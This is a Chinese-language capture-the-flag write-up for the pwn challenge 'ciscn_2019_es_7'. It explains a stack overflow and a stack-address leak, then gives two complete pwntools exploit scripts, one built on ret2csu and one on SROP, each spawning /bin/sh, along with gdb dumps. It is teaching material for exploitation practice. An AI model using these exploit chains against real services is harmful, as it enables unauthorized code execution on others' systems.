0%

ciscn_2019_es_7

其实做过一次第一次wp,,,但是再做还是不太可,重新写一篇【两篇侧重点不一样】

题目流程

两个函数,read和write

image-20210506185234819

输入和打印的是同一个地址,rsp+buf,buf的长度为0x10。

所以栈溢出的偏移为0x10,再下一个地址是rsp,ret的时候,pop eip会取过来。

image-20210506185325681

程序给了两个后门函数

第一个是rax,设置0xf,可以进行srop

第二个设置为execve的调用号,设置参数为“/bin/sh”、0、0(必须设置,因为vuln函数中rdi,rsi和rdx都有值)即可get shell

image-20210506185517298

漏洞利用

综上,有两种方法可以进行漏洞利用

  1. 利用gadget2,需要设置三个寄存器参数,可以通过ret2csu来设置
  2. 利用gadget1,srop来get shell

其次,程序还可以泄漏信息,在输入0x10处和0x20处都存在栈上的地址,布置“/bin/sh”在上面,泄漏栈地址,即计算得到binsh的地址。

为了程序正常返回继续利用,故泄漏0x20的地址。

1
2
3
4
5
6
pwndbg> x/30gx 0x7fffffffdee0
0x7fffffffdee0: 0x6161616161616161 0x0000000000000a61#[rsp+buf]
0x7fffffffdef0: 0x00007fffffffdf10 0x0000000000400536
0x7fffffffdf00: 0x00007fffffffdff8 0x0000000100000000
0x7fffffffdf10: 0x0000000000400540 0x00007ffff7a03bf7
0x7fffffffdf20: 0x0000000000000001 0x00007fffffffdff8
1
2
3
4
5
payload = 'a' * 0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
1
2
3
4
5
6
[DEBUG] Received 0x30 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 ed 04 40 00 00 00 00 00 0a 05 40 00 00 00 00 00 │··@·│····│··@·│····│
00000020 a8 43 ed d1 fe 7f 00 00 00 00 00 00 01 00 00 00 │·C··│····│····│····│
00000030
[+] 0x7ffed1ed4290
1
2
3
4
pwndbg> x/30gx 0x7ffed1ed4290
0x7ffed1ed4290: 0x6161616161616161 0x6161616161616161
0x7ffed1ed42a0: 0x00007ffed1ed42a0 0x000000000040050a
0x7ffed1ed42b0: 0x00007ffed1ed43a8 0x0000000100000000

ret2csu

因为需要设置3个参数,需要利用万能gadget,但是注意一点是,第一个参数只能设置低8位,但是binsh的地址有12位,所以第一个参数还需要通过pop rdi,单独设置。

  1. 布置“/bin/sh” => 地址通过上面已经泄漏

  2. 设置rax = 59

  3. 开始ret2cus

    part1

    ​ rbx = 0,rbp = 1,跳出循环

    ​ call [],选择binsh+0x10的地址,也就是设置rax=59

    ​ 设置3个参数,都为0即可

    part2

    ​ ‘a’×0x56=> 到达ret

    ​ 设置第一个参数

    syscall即可

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = '/bin/sh\x00' * 2 
payload += p64(mov_rax_59)
payload += p64(part1)
payload += p64(0) + p64(1)
payload += p64(binsh+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a'*56
payload += p64(pop_rdi) + p64(binsh)
payload += p64(syscall)
p.sendline(payload)
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
p = process("./ciscn_2019_es_7")
# p=remote("node3.buuoj.cn",26076)
context.log_level = 'debug'

mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = 'a' * 0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
payload = '/bin/sh\x00' * 2
payload += p64(mov_rax_59)
payload += p64(part1)
payload += p64(0) + p64(1)
payload += p64(binsh+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a'*56
payload += p64(pop_rdi) + p64(binsh)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

srop

创建
1
sigFrame = SigreturnFrame()
设置寄存器
  1. rax = execve调用号
  2. rdi = binsh地址
  3. rsi = 0
  4. rdx = 0
  5. rip = syscall
1
2
3
4
5
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
发送
  1. 发送“/bin/sh\x00”两个
  2. gadget,这里会retn一下,让rsp下移
  3. 放上syscall,接着就放上str(sigFrame)【在rsp的下一个位置】
1
2
payload = '/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame)
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process("./ciscn_2019_es_7")
# p=remote("node3.buuoj.cn",26076)
context.log_level = 'debug'
context.arch = 'amd64'
mov_rax_59 = 0x00004004E2
part1 = 0x0040059A
part2 = 0x000400580
back = 0x04004ED
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = 'a'*0x10 + p64(back)
p.sendline(payload)
stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
binsh = stack - 0x118
log.success(hex(binsh))
# gdb.attach(p)
# pause()
pop_rax_15 = 0x004004DA

sigFrame = SigreturnFrame()
sigFrame.rax = constants.SYS_execve
sigFrame.rdi = binsh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall
payload = '/bin/sh\x00' * 2
payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame)
p.sendline(payload)
p.interactive()

总结

本篇主要讲了些做题的点,思路更清晰了,,,,

  1. ret2csu比较好用了,这里特别注意execve使用的参数设置
  2. srop主要发送str(sigFrame)在rsp下面一个,题目read和write都是[rsp+buf]为srop提供了便利

下载

附件

Q:如果阅读本文需要付费,你是否愿意为此支付1元?